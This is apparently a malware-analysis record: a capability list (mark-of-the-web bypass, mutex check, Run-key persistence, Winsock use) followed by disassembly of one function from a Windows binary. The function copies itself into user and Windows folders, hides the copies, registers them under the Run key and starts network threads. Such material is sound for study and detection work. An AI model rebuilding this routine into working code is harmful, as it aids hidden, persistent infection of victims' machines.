Function at 0x407590
Capabilities:
Bypass mark of the web
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create thread
Delete file
Initialize winsock library
Persist via run registry key
Query environment variable
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xff0
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x414318
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0xe5c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4075ce
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x62c], 0
mov dword [ebp - 0x41c], 0
mov dword [ebp - 0x83c], 1
mov dword [ebp - 0x210], 4
push 0x105
push 0x416268
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x416268
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov dword [ebp - 0x20c], eax
push 0x416268
push 0x41140c
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea edx, [ebp - 0xe58]
push edx
push str._userprofile_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0x414324
mov eax, dword [ebp - 0x20c]
push eax
call sub.ntdll.dll_wcscmp
add esp, 8
test eax, eax
je 0x40795a
call fcn.0040e730
movzx ecx, al
cmp ecx, 1
jne 0x407688
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x104
lea edx, [ebp - 0xa48]
push edx
push str._windir_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0x414324
lea eax, [ebp - 0xa48]
push eax
push 0x411464
lea ecx, [ebp - 0x838]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea edx, [ebp - 0x838]
push edx
push 0x416268
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x407779
push 3
lea eax, [ebp - 0x838]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0x62c]
push ecx
push 0x20006
push 0
push 0x411470
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 0
jne 0x407779
lea edx, [ebp - 0x838]
push edx
call sub.ntdll.dll_wcslen
add esp, 4
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0x838]
push ecx
push 1
push 0
push 0x414344
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x407779
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x838]
push ecx
call fcn.0040e980
add esp, 4
movzx edx, al
cmp edx, 1
jne 0x407779
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x414324
lea eax, [ebp - 0xe58]
push eax
push 0x4114d0
lea ecx, [ebp - 0x418]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea edx, [ebp - 0x418]
push edx
push 0x416268
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40785e
push 3
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0x62c]
push ecx
push 0x20006
push 0
push 0x4114e8
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 0
jne 0x40785e
lea edx, [ebp - 0x418]
push edx
call sub.ntdll.dll_wcslen
add esp, 4
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0x418]
push ecx
push 1
push 0
push 0x414344
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x40785e
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x418]
push ecx
call fcn.0040e980
add esp, 4
movzx edx, al
cmp edx, 1
jne 0x40785e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x104
lea eax, [ebp - 0xc50]
push eax
push 0x411548
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0x414324
lea ecx, [ebp - 0xc50]
push ecx
push str._s_s
lea edx, [ebp - 0x628]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea eax, [ebp - 0x628]
push eax
push 0x416268
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40795a
push 3
lea ecx, [ebp - 0x628]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0x62c]
push edx
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 0
jne 0x40795a
lea eax, [ebp - 0x628]
push eax
call sub.ntdll.dll_wcslen
add esp, 4
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x628]
push edx
push 1
push 0
push 0x414344
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x40795a
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x628]
push edx
call fcn.0040e980
add esp, 4
movzx eax, al
cmp eax, 1
jne 0x40795a
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0040c7d0
movzx ecx, al
test ecx, ecx
je 0x407ae4
lea edx, [ebp - 0xff0]
push edx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea eax, [ebp - 0xe58]
push eax
push str._s_tbtnds.dat
push 0x416478
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0xe58]
push ecx
push str._s_tbtcmds.dat
push 0x416060
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
push 0
push 0x407440
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x9c40
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x405880
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x406bc0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00405bc0
call fcn.0040d640
call fcn.00406fe0
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x416eb0], eax
call fcn.0040bf00
mov dword [0x416eb8], eax
call fcn.0040d130
mov dword [0x416eb4], eax
call fcn.0040b2c0
push 0
push 0
push 0
push 0x40d5f0
push 0
mov edx, dword [0x416eb4]
push edx
call fcn.0040d160
add esp, 0x18
push 0
push 0
push 0
push 0x40d550
push 0
mov eax, dword [0x416eb4]
push eax
call fcn.0040d160
add esp, 0x18
push 0
push 0
push 0
push 0x40cf00
push 0
mov ecx, dword [0x416eb4]
push ecx
call fcn.0040d160
add esp, 0x18
push 0
push 0
push 0
push 0x40ceb0
push 0
mov edx, dword [0x416eb4]
push edx
call fcn.0040d160
add esp, 0x18
push 0xffffffffffffffff
mov eax, dword [0x416eb4]
push eax
call fcn.0040d2d0
add esp, 8
mov ecx, dword [0x416eb4]
push ecx
call fcn.0040d410
add esp, 4
jmp 0x407ae8
xor eax, eax
mov esp, ebp
pop ebp
ret